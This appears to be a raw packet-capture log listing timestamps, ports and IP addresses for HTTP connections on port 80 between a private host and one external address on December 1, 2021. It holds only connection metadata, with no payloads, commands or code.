Dec 1, 2021 09:14:14.063061953 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063077927 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063093901 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063107967 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063108921 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063127041 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063150883 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063163042 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063178062 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063180923 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063196898 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063235998 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063287973 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063594103 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063617945 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063652992 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063657045 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063676119 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063688993 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063690901 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063708067 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063724995 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063726902 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063740969 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063754082 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063756943 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063775063 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063791990 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063802958 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063808918 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063826084 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063838005 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063843012 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063853979 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063860893 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063877106 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063888073 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063893080 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063910007 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.063919067 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.063957930 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.119858027 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.119884014 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.119896889 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.119911909 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.119929075 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.119946003 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.119961977 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.119977951 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.119993925 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120009899 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120026112 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120042086 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120053053 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.120058060 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120074987 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120090008 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120102882 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.120107889 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120112896 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.120119095 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.120124102 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.120126009 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120129108 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.120142937 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120147943 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.120160103 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120177984 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120215893 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.120229959 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.120531082 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120557070 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120594025 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120628119 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120644093 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120649099 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.120662928 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120680094 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120686054 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.120695114 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.120707989 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.120743990 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.121341944 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121366024 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121382952 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121397972 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121413946 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121428967 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.121431112 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121447086 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121454000 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.121465921 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121481895 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121491909 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.121496916 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121511936 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.121515989 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121532917 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121548891 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121565104 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121567965 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.121582031 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121598005 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121598005 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.121611118 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.121615887 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121632099 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121648073 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121654987 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.121664047 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.121675968 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.121727943 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.177833080 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.177862883 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.177875042 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.177887917 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.177900076 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.177917957 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.177933931 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.177949905 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.177967072 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.177983046 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.177999020 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178003073 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.178014994 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178030968 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178047895 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178055048 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.178062916 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.178066015 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178069115 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.178082943 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178092003 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.178100109 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178116083 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178132057 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178133965 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.178148985 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178164959 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178177118 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.178239107 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.178283930 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178301096 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178316116 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178330898 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178337097 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.178348064 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178361893 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.178364992 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178381920 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.178394079 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.178445101 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.179137945 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179157972 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179173946 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179203033 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179219007 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179234028 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179244995 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.179261923 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.179267883 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179285049 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179290056 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.179301977 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179316998 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179332018 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.179333925 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179351091 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179366112 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179378033 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.179383039 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179399967 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179410934 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.179416895 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179428101 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.179435015 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179452896 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179465055 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.179469109 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179486036 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.179497004 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.179542065 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.235915899 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.235949039 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.235965014 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.235981941 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.235997915 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236013889 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236031055 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236047029 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236051083 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.236063004 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236079931 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236089945 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.236093998 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.236095905 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236114979 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236115932 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.236131907 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236148119 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236165047 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236180067 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236187935 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.236200094 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236216068 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.236216068 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236233950 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236248970 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236263990 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.236264944 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236283064 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236294985 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.236299992 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236316919 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236329079 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.236334085 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236350060 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236357927 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.236366034 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236382961 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.236391068 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.236421108 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.236960888 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.237006903 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.237025023 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.237040043 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.237056971 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.237072945 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.237073898 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.237090111 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.237103939 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.237116098 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.237128019 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.237139940 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:14.237148046 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.237176895 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.237201929 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.237385035 CET	49788	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:14.294876099 CET	80	49788	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:16.804212093 CET	49789	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:16.861454964 CET	80	49789	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:16.861604929 CET	49789	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:16.861721992 CET	49789	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:16.861748934 CET	49789	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:16.918908119 CET	80	49789	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:16.963992119 CET	80	49789	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:16.965611935 CET	49789	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:16.965785027 CET	49789	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.022854090 CET	80	49789	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:17.041970015 CET	49790	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.099807978 CET	80	49790	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:17.105577946 CET	49790	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.105689049 CET	49790	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.105705023 CET	49790	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.163275957 CET	80	49790	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:17.211118937 CET	80	49790	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:17.213593960 CET	49790	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.215789080 CET	49790	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.273524046 CET	80	49790	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:17.548170090 CET	49791	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.605906010 CET	80	49791	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:17.609644890 CET	49791	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.609708071 CET	49791	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.609720945 CET	49791	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.667346954 CET	80	49791	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:17.711420059 CET	80	49791	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:17.711601973 CET	49791	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.711743116 CET	49791	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.769294977 CET	80	49791	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:17.830542088 CET	49792	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.888550043 CET	80	49792	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:17.888715982 CET	49792	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.888834953 CET	49792	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.892137051 CET	49792	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:17.946830988 CET	80	49792	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:17.950128078 CET	80	49792	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:17.992974997 CET	80	49792	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:17.993120909 CET	49792	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.020528078 CET	49792	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.078659058 CET	80	49792	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.087789059 CET	49793	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.146028042 CET	80	49793	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.146210909 CET	49793	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.146295071 CET	49793	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.149549961 CET	49793	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.204359055 CET	80	49793	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.207429886 CET	80	49793	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.239940882 CET	80	49793	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.240067005 CET	49793	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.240112066 CET	49793	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.267278910 CET	49794	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.298038006 CET	80	49793	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.324841976 CET	80	49794	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.324960947 CET	49794	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.325067043 CET	49794	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.325079918 CET	49794	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.383196115 CET	80	49794	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.428277969 CET	80	49794	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.428359032 CET	49794	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.456708908 CET	49794	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.514277935 CET	80	49794	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.824275017 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.881527901 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.881712914 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.881853104 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.963581085 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.963618994 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.963639021 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.963654041 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.963673115 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.963671923 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.963690996 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.963709116 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.963712931 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.963723898 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.963726997 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.963745117 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.963762045 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:18.963783979 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:18.963818073 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.021267891 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021313906 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021341085 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021367073 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021394014 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021420956 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021445990 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021451950 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.021473885 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021503925 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021522045 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.021532059 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021554947 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.021562099 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021589041 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021611929 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.021617889 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021631002 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.021646023 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.021673918 CET	80	49795	95.213.165.249	192.168.2.4
